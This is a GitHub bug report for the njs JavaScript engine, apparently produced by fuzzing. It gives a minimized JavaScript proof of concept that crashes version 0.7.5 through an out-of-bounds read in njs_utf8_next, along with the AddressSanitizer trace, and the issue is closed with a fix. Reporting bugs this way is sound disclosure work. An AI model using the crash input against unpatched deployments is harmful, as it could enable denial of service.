New issue

Jump to bottom

SEGV src/njs_utf8.h:52:9 in njs_utf8_next #522

Closed **dramthy** opened this issue on Jun 1 · 0 comments

Labels bug fuzzer

dramthy commented on Jun 1

Environment

```
Commit  : c62a9fb92b102c90a66aa724cb9054183a33a68c
Version : 0.7.5
Build   :
     ./configure --cc=clang --address-sanitizer=YES
     make
```

Proof of concept

```
// Minimizing 811225C4-281E-48F6-8D83-E65B5DB8E211
function placeholder(){}
function main() {
var v0 = "WbgAtnLEGv";
var v2 = [10000,10000,10000,10000,10000];
var v3 = 0.0;
var v4 = undefined;
var v6 = v2.includes();
var v7 = 1;
var v10 = NaN;
var v11 = 3269;
var v12 = "toUpperCase";
var v14 = String["fromCharCode"](String,1156435285,String,3269);
var v17 = `symbol${String}undefined${v14}number${v14}byteOffset${1156435285}e`["replace"]
(1156435285,v14);
var v19 = Uint8ClampedArray.from(v17);
}
main();
// CRASH INFO
// ==========
// TERMSIG: 11
```

```
// STDERR:
```

Stack dump

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==9418==ERROR: AddressSanitizer: SEGV on unknown address 0x62505a68846a (pc 0x000000516e19 bp
0x7ffc9f96e8f0 sp 0x7ffc9f96e890 T0)
==9418==The signal is caused by a READ memory access.
    #0 0x516e19 in njs_utf8_next /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_utf8.h:52:9
    #1 0x516e19 in njs_string_offset /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_string.c:2539:17
    #2 0x516e19 in njs_string_slice_string_prop /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_string.c:1512:21
    #3 0x5176bf in njs_string_slice /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_string.c:1544:5
    #4 0x4f35dd in njs_string_property_query /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_value.c:910:16
    #5 0x4f189b in njs_object_property_query /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_value.c:693:27
    #6 0x4f189b in njs_property_query /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_value.c:622:15
    #7 0x4ef9fe in njs_value_property /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_value.c:1058:11
    #8 0x63b787 in njs_value_property_i64 /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_value.h:1087:12
    #9 0x63b787 in njs_typed_array_from /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_typed_array.c:407:15
    #10 0x575aae in njs_function_native_call /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_function.c:728:11
    #11 0x573e1c in njs_function_frame_invoke /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_function.c:766:16
    #12 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_vmcode.c:799:23
    #13 0x574c72 in njs_function_lambda_call /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_function.c:693:11
    #14 0x573e4f in njs_function_frame_invoke /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_function.c:769:16
    #15 0x503e61 in njs_vmcode_interpreter /home/ubuntu/njs-
fuzz/JSEngine/njs/src/njs_vmcode.c:799:23
    #16 0x4fa5ae in njs_vm_start /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_vm.c:541:11
    #17 0x4df3fb in njs_process_script /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:1132:19
    #18 0x4e007f in njs_process_file /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:836:11
    #19 0x4ddbe8 in main /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_shell.c:483:15
    #20 0x7f83cfee1082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId:
1878e6b475720c7c51969e69ab2d276fae6d1dee)
    #21 0x41ea7d in _start (/home/ubuntu/njs-fuzz/JSEngine/njs-target/build/njs+0x41ea7d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/ubuntu/njs-fuzz/JSEngine/njs/src/njs_utf8.h:52:9 in
njs_utf8_next
==9418==ABORTING
```

Credit
dramthy(**@topsec** alpha)

xeioex added bug fuzzer labels on Jun 1

nginx-hg-mirror closed this as completed in `36f04a3` on Jun 4

---

ret2ddme mentioned this issue on Aug 24

Another way to trigger SEGV in njs_utf8_next cause oob read #569

Closed

Assignees

No one assigned

Labels

bug fuzzer

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants